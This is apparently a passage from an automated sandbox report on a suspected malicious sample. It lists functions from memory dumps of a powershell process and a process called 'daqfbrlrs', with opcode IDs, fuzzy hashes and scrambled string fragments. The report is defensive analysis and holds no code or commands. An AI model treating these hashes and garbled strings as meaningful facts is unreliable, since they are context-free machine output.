                                                            • Opcode ID: 87d2ce2a84fd14d77e6c5bd26b5c6597c2419420a5c63e2b2fe1677a8cda5611
                                                            • Instruction ID: 276c7d8b480ea66deaecb7d57d6cf8570c18599322134dad5b84b9c50ef757bf
                                                            • Opcode Fuzzy Hash: 87d2ce2a84fd14d77e6c5bd26b5c6597c2419420a5c63e2b2fe1677a8cda5611
                                                            • Instruction Fuzzy Hash: CFF0ED70A003149BD764DF79D89C79BBBEDEB84360F00446DE65ED7381DB3969818B90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03108978 Relevance: .0, Instructions: 24COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 681fb6ad675a4f113b29e6270d23fea63d2faf0dae3030d5d1beb894daacdb9c
                                                            • Instruction ID: 538efdc3e2711b4e54d4dfe1de42ed9d01127fb334845a02bf17a8af2e0c1b93
                                                            • Opcode Fuzzy Hash: 681fb6ad675a4f113b29e6270d23fea63d2faf0dae3030d5d1beb894daacdb9c
                                                            • Instruction Fuzzy Hash: B7E0DF3530461487CF096774A80C2AE7A6EEBC8725F00042EE60A8B382CF781A0283E9
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03107E90 Relevance: .0, Instructions: 24COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: c2c6d6bb0dea2ef5eccc41f9c140c6199b1bf30972004e7f3d40c697d09e4ab9
                                                            • Instruction ID: f4c2bf50af77ea4feabb774614c6bf532612aa2c6f390281c61add97f1eb5870
                                                            • Opcode Fuzzy Hash: c2c6d6bb0dea2ef5eccc41f9c140c6199b1bf30972004e7f3d40c697d09e4ab9
                                                            • Instruction Fuzzy Hash: EFD0176560E3E01FDB07973508BA1126F760A87000B4A84DED0C5CF4D7C598844ACB02
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03109550 Relevance: .0, Instructions: 23COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 2afbea6c49477157fdd47415803942191dc2370da89feab28cdbfa771109ba8d
                                                            • Instruction ID: 5370cdf95d7a638e0fff957f38d307586f3ffd61140a01db306e61dfd2b1ad1b
                                                            • Opcode Fuzzy Hash: 2afbea6c49477157fdd47415803942191dc2370da89feab28cdbfa771109ba8d
                                                            • Instruction Fuzzy Hash: DBD05E36705222174558F0FE58106BBA1CE8ACC5A570900379A09CB2C2EFD0CC0183F5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310F860 Relevance: .0, Instructions: 23COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: e33d7ad885e7a221546b2a647186bdb14562c2ddc2131c2d6449b83a84187a1f
                                                            • Instruction ID: 4a679ea40c68ba004898559654e5264ec29a46958d9dca013f988a852b701f9d
                                                            • Opcode Fuzzy Hash: e33d7ad885e7a221546b2a647186bdb14562c2ddc2131c2d6449b83a84187a1f
                                                            • Instruction Fuzzy Hash: 07E01270C082499FC744DFACC4425A9FBF4EF09200B6085AEC949DB301E7325652DBD1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310DD70 Relevance: .0, Instructions: 23COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
                                                            • Instruction ID: e8be282ae3300bf71f554ae0075d698183a9bf082e0a31c23dcdc94bcaf38ec6
                                                            • Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
                                                            • Instruction Fuzzy Hash: EDE08631B00014978B08D6D9E4514D9F7A9DBCC220F04847ED90AA7380DB72695687A1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310DC98 Relevance: .0, Instructions: 23COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 319d66c063b008853d9a303dc7bcf1bf06fe3aaf7665a3438032c30c71af8551
                                                            • Instruction ID: 6d3e8f7daa1921ee8536ce04e172dc837f7814159c4034d1c1b90679c817517e
                                                            • Opcode Fuzzy Hash: 319d66c063b008853d9a303dc7bcf1bf06fe3aaf7665a3438032c30c71af8551
                                                            • Instruction Fuzzy Hash: 0AE0C2317406140B8612E6AEB91486FB7DFDFC8671304446EE22ACB380DFA4DC0547D5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03108739 Relevance: .0, Instructions: 22COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: f6c6d4f492433b524b680bf6876f0b5f1498756735f9e2a020ac68aea56815a9
                                                            • Instruction ID: c10dc32f28ccfaee83ad7dbb619c3b6b971fd052ade1cd8baa7cf13a864e1325
                                                            • Opcode Fuzzy Hash: f6c6d4f492433b524b680bf6876f0b5f1498756735f9e2a020ac68aea56815a9
                                                            • Instruction Fuzzy Hash: C0E04F31D190498BCF29EBB4E4594EE7F74EE55311F00029CE9979A992DAB10A4ACBC1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03108800 Relevance: .0, Instructions: 20COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: e991cc8d44f995bc1fdcca339f37f580a2fa3a52c155b9e4d3521ba8999883c9
                                                            • Instruction ID: 457801e2ac16ce68d589d5c451b6fc4c800d6b00ea66db03d90525f783a53689
                                                            • Opcode Fuzzy Hash: e991cc8d44f995bc1fdcca339f37f580a2fa3a52c155b9e4d3521ba8999883c9
                                                            • Instruction Fuzzy Hash: B3E0DF34D0924A8BCB24EBA8D04546EBFB0EF86205F00429DE8459B682DA710841CFC1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310F870 Relevance: .0, Instructions: 16COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
                                                            • Instruction ID: abb3aeeafd164dcdb82c67275094fff1364dfe7c3d399cdcbd3fdb7f02deaa8d
                                                            • Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
                                                            • Instruction Fuzzy Hash: A3D06270D042099F8784EFADC94156DFBF4EB48204F5485AA8919E7341E7715652CBD1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03108748 Relevance: .0, Instructions: 15COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: fc4bc877c106ae282234f622a071e65f34740b6ef5d7b09d1b4c065472268977
                                                            • Instruction ID: e33f23491d99bda4e8840ab622c7e90ee2fd1ee3ba9e5dd7f8e1c02e7d733c1c
                                                            • Opcode Fuzzy Hash: fc4bc877c106ae282234f622a071e65f34740b6ef5d7b09d1b4c065472268977
                                                            • Instruction Fuzzy Hash: 57D0673180810D8BCB58EBA4E85A4BEBB7CFA54301F40416DE917565D1EB711A5ACAC5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03108810 Relevance: .0, Instructions: 15COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 1dece33771fea0e61c1cef8b3260dbb20e05b0dd9d39d0f5ab1df954b67d076e
                                                            • Instruction ID: 280ff7ac9496f34f463ad8813880ada996721479340e846cc7c568226bef3312
                                                            • Opcode Fuzzy Hash: 1dece33771fea0e61c1cef8b3260dbb20e05b0dd9d39d0f5ab1df954b67d076e
                                                            • Instruction Fuzzy Hash: 92D01734E0820A8F8B58EFA4E44686EBBB8EB88300F004169E949977C1EB306941CBC1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310791A Relevance: .0, Instructions: 11COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: dd7fedde1106e29d555e5cc78f2ee07b7fafaf79f81e6d48b41c9d701c8b4956
                                                            • Instruction ID: cce3159d4028c885ef54f446639fda80f60a0dc99d7626d1329154381328824e
                                                            • Opcode Fuzzy Hash: dd7fedde1106e29d555e5cc78f2ee07b7fafaf79f81e6d48b41c9d701c8b4956
                                                            • Instruction Fuzzy Hash: 5EC012755483859BCB665F74E4CDD143F507B02215B0445DCD88A1E297CAB28049CF01
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03107928 Relevance: .0, Instructions: 8COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: aa9388bace1fcfe797f413e64f8922fc4e3f062b06a06f0996d75325577ffa06
                                                            • Instruction ID: b47f9cb08a413f83824664f6bb7bde63c952d2cc8fafe8eb9fc593386bafa0b4
                                                            • Opcode Fuzzy Hash: aa9388bace1fcfe797f413e64f8922fc4e3f062b06a06f0996d75325577ffa06
                                                            • Instruction Fuzzy Hash: 61B092310447098FC259AF75E4088147329BB4421938008A8E91E0A296CE76E889CA45
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Non-executed Functions

                                                            Function 077D1BE0 Relevance: 21.7, Strings: 17, Instructions: 412COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2259871486.00000000077D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_77d0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: $c\k$4'^q$4'^q$4'^q$4'^q$84gl$84gl$pi1k$tP^q$tP^q$Jjl$Jjl$Jjl$Jjl$Jjl$ril$ril
                                                            • API String ID: 0-98533443
                                                            • Opcode ID: 809a0107077ae996d075ac6183853e98877684ef561c0b05093ddbd9e49f3e0c
                                                            • Instruction ID: 997efcc86dd79c3e10258f263a05e6f7393bc8b331ccafc9e574ab2664b6552c
                                                            • Opcode Fuzzy Hash: 809a0107077ae996d075ac6183853e98877684ef561c0b05093ddbd9e49f3e0c
                                                            • Instruction Fuzzy Hash: 56D17AB1B0830A8FC7258B6894006A6BBF2EFC6350F1988BBD545CF256DB31CC46C7A1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 077D3928 Relevance: 12.8, Strings: 10, Instructions: 326COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2259871486.00000000077D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_77d0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: 4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q$$^q$_l$_l
                                                            • API String ID: 0-648847570
                                                            • Opcode ID: 9953946d25ed7ffeaebc5b3571b6cc985e92ee530645b4b685516b9bc5e86e02
                                                            • Instruction ID: 4bbc067e71270738dad466336914f6d5328ced01357670d954a1fdfa0027dbc4
                                                            • Opcode Fuzzy Hash: 9953946d25ed7ffeaebc5b3571b6cc985e92ee530645b4b685516b9bc5e86e02
                                                            • Instruction Fuzzy Hash: 4DA159B2704345DFD7249A799800676BBF6AFC6650F1888ABE449CF392CA31CC45C7A2
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310EBB8 Relevance: 10.2, Strings: 8, Instructions: 180COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: ,bq$0oAp$$^q$$^q$$^q$$^q$$^q$$^q
                                                            • API String ID: 0-4154621813
                                                            • Opcode ID: 228014ff2bf4a9e52d7dc255f54db5fe4087a6e7747b486ab78292cea503b729
                                                            • Instruction ID: c26085b8eb3fba8e4b6a5a1210e8253db8982ff381dd0a42af7efb07a7fb4dae
                                                            • Opcode Fuzzy Hash: 228014ff2bf4a9e52d7dc255f54db5fe4087a6e7747b486ab78292cea503b729
                                                            • Instruction Fuzzy Hash: 33515F303C48588FCB29EB7A895492C7A97BF8D75031508AAD066CF3F5EF55CC828762
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310EDE8 Relevance: 9.2, Strings: 7, Instructions: 452COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: 0oAp$0oAp$0oAp$`Q^q$$^q$$^q$$^q
                                                            • API String ID: 0-1375766648
                                                            • Opcode ID: be27b573513f0588b8ffddfdf46e866b30445a75f28792597c3cef16c216d47d
                                                            • Instruction ID: 03660f3cd7922803ed6ce0e822a9a45cb1b39eb0c79076fd094808073016faf4
                                                            • Opcode Fuzzy Hash: be27b573513f0588b8ffddfdf46e866b30445a75f28792597c3cef16c216d47d
                                                            • Instruction Fuzzy Hash: 40E1D1307401158FDB28DB79851562E76DBAFCCB10B2944AAD406DF3E8EFB5DC8287A1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 077D3678 Relevance: 8.9, Strings: 7, Instructions: 198COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2259871486.00000000077D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_77d0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: 4'^q$4'^q$$^q$$^q$$^q$_l$_l
                                                            • API String ID: 0-4286007357
                                                            • Opcode ID: 453865be0acf6f6cc264db852ff12b97c2f150f66eee6069ce6d3cdf1c07567c
                                                            • Instruction ID: 4e8779f861ee0c4e5316bc05b4584a748aa2cdc57c1f884c51f8f452ff38aeaf
                                                            • Opcode Fuzzy Hash: 453865be0acf6f6cc264db852ff12b97c2f150f66eee6069ce6d3cdf1c07567c
                                                            • Instruction Fuzzy Hash: 5D5168F1704346DFD7249A698800676BFF6AFC26A0F28887BD459CB251DA31CC45C7A3
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03107A09 Relevance: 6.5, Strings: 5, Instructions: 240COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: tMil$`_q$`_q$`_q$`_q
                                                            • API String ID: 0-1026082384
                                                            • Opcode ID: 1ceba539c9fa7bc1948563cf9394376eaaf9ca575c4f9aff211ce23f6fcb683f
                                                            • Instruction ID: f9cb993b4d93797fe4990c8955e23b97aa6f254a99ebf12402da3b4d23b8a405
                                                            • Opcode Fuzzy Hash: 1ceba539c9fa7bc1948563cf9394376eaaf9ca575c4f9aff211ce23f6fcb683f
                                                            • Instruction Fuzzy Hash: 35B1C674E002099FDB55DFA9D980A9DFBF2FF88300F108629D519AB354DB70A945CF90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03107A18 Relevance: 6.5, Strings: 5, Instructions: 234COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: tMil$`_q$`_q$`_q$`_q
                                                            • API String ID: 0-1026082384
                                                            • Opcode ID: 0e5afae5cc837d25e680ada3d04f09183e1e35e21432b9eee7222657fca0a078
                                                            • Instruction ID: d7b23a1642544de85e5da2152c2b5c9add4a0d4fd3b4b787e023acb7fe06709b
                                                            • Opcode Fuzzy Hash: 0e5afae5cc837d25e680ada3d04f09183e1e35e21432b9eee7222657fca0a078
                                                            • Instruction Fuzzy Hash: EBB1B674E002099FDB55DFA9D980A9DFBF2FF88300F108629E919AB354DB70A945CF91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031071F8 Relevance: 6.5, Strings: 5, Instructions: 207COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: tMil$`_q$`_q$`_q$`_q
                                                            • API String ID: 0-1026082384
                                                            • Opcode ID: 45c1cf1595166da3e91b17108d089b618b3a34cd3921bfd9640a7bc08ffb7556
                                                            • Instruction ID: 23f592008209d4b1e5e4023ce421352a22046cdc1c473ce197e9323a43081852
                                                            • Opcode Fuzzy Hash: 45c1cf1595166da3e91b17108d089b618b3a34cd3921bfd9640a7bc08ffb7556
                                                            • Instruction Fuzzy Hash: 82A1B574E002099FDB44DFA9D990A9DFBF2FF88300F20866AD419AB354DB70A945CF90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 077D2208 Relevance: 6.3, Strings: 5, Instructions: 88COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2259871486.00000000077D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_77d0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: lc\k$Jjl$Jjl$Jjl$Jjl
                                                            • API String ID: 0-226100634
                                                            • Opcode ID: 1b8fc8261451bde1c62c05e88856a7008ee687acda0c1c4d73bcfa6fcabb707b
                                                            • Instruction ID: ebe290240ddd1a4389964be6c697542fa3f23c3bc9bb632cf99435a1b1b5d955
                                                            • Opcode Fuzzy Hash: 1b8fc8261451bde1c62c05e88856a7008ee687acda0c1c4d73bcfa6fcabb707b
                                                            • Instruction Fuzzy Hash: 032125B650C3E15FC3134B6448526A27FB16F83780B1A44CBE080CF6A7D860AC4AC3B6
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 077D5798 Relevance: 5.1, Strings: 4, Instructions: 94COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2259871486.00000000077D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_77d0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: $^q$$^q$$^q$$^q
                                                            • API String ID: 0-2125118731
                                                            • Opcode ID: 76440d84ef9d95352a00d34d9d9168d0a78a97fee337a8eb57af26eb1572704f
                                                            • Instruction ID: 4964f385837fa1e5edbe1c9d243adf9e2b948f5d7e7d45efd2c7ba6826a74979
                                                            • Opcode Fuzzy Hash: 76440d84ef9d95352a00d34d9d9168d0a78a97fee337a8eb57af26eb1572704f
                                                            • Instruction Fuzzy Hash: 822138B17042069BEB34592A9C04B67BBFAAFC17A1F34883AE505CF385DD75CC518361
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 077D22E8 Relevance: 5.1, Strings: 4, Instructions: 86COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2259871486.00000000077D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_77d0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: pi1k$pi1k$Jjl$Jjl
                                                            • API String ID: 0-504072882
                                                            • Opcode ID: c7f218caebb0bea97a638744db284df408ada079ecbfd53c51098f0fd0c41d2b
                                                            • Instruction ID: 1532784b06f6b16d68a9883adbaeed187221e2bd4356f574bdb28bdbdd21c2e8
                                                            • Opcode Fuzzy Hash: c7f218caebb0bea97a638744db284df408ada079ecbfd53c51098f0fd0c41d2b
                                                            • Instruction Fuzzy Hash: A431E6F190434ADFDB25CF24C5456AABBB4BF02391F0884A6D8548B153D7B5CD87CBA2
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 077D0308 Relevance: 5.1, Strings: 4, Instructions: 54COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2259871486.00000000077D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_77d0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: 4'^q$4'^q$$^q$$^q
                                                            • API String ID: 0-2049395529
                                                            • Opcode ID: e7ac6ec16e903cf412f8c2b28a5b8005c75a484d38c3b44460178d3ac89fd2fc
                                                            • Instruction ID: 10cf5927ffc344e0de8dd4e4b24007f2d3a6208f3a79a56e26138a31adf2cbff
                                                            • Opcode Fuzzy Hash: e7ac6ec16e903cf412f8c2b28a5b8005c75a484d38c3b44460178d3ac89fd2fc
                                                            • Instruction Fuzzy Hash: A8015EA1B0D3CA4FD72B562818242656FB65FC3A50B2A44DFC081CF6A7CE958C49C3B7
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Executed Functions

                                                            Function 02C31470 Relevance: 4.1, Strings: 3, Instructions: 344COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000010.00000002.2501578266.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_16_2_2c30000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: $^q$$^q$$^q
                                                            • API String ID: 0-831282457
                                                            • Opcode ID: a56edd2850f248f03172f36b7e6e3c30c790843dba1f9602a29fb0258a3397b5
                                                            • Instruction ID: 9b04ddc5237f63e430f05e73deea162a181c17891ffda5f6935f51045518e090
                                                            • Opcode Fuzzy Hash: a56edd2850f248f03172f36b7e6e3c30c790843dba1f9602a29fb0258a3397b5
                                                            • Instruction Fuzzy Hash: E7C1AF347402158FDB29EB75E858B6E7BA3BBD8700F148928E50A9B398DF759C418F81
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02C31467 Relevance: 2.8, Strings: 2, Instructions: 314COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000010.00000002.2501578266.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_16_2_2c30000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: $^q$$^q
                                                            • API String ID: 0-355816377
                                                            • Opcode ID: 4e820fd5728083dee67711df9107d03fbd96af6a7af94d409d5b531662e39a23
                                                            • Instruction ID: a3559f015e6b73a01853c06d7224f8297e2b3fdd93a0c3a56468ddc1c4399d70
                                                            • Opcode Fuzzy Hash: 4e820fd5728083dee67711df9107d03fbd96af6a7af94d409d5b531662e39a23
                                                            • Instruction Fuzzy Hash: 83C172347402158FDB2AEB75E858B6D7BA7BBD8300F148929E40A9B398DF759C418F81
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02C315A0 Relevance: 2.8, Strings: 2, Instructions: 252COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000010.00000002.2501578266.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_16_2_2c30000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: $^q$$^q
                                                            • API String ID: 0-355816377
                                                            • Opcode ID: fc16ce3a4fa749e66a3565559d747faf087201fa7a3d6b8e4342c7975dd1cc2b
                                                            • Instruction ID: 5fa82aafb96bbe05c42251aa2477a14b09f0165fcec04936e70af85bff53e25c
                                                            • Opcode Fuzzy Hash: fc16ce3a4fa749e66a3565559d747faf087201fa7a3d6b8e4342c7975dd1cc2b
                                                            • Instruction Fuzzy Hash: 1691B3347002058FDB29EB79D85876E7AE3BFD8704F188928D50A9B3D8DF759C018B91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02C30F70 Relevance: 1.3, Strings: 1, Instructions: 89COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000010.00000002.2501578266.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false
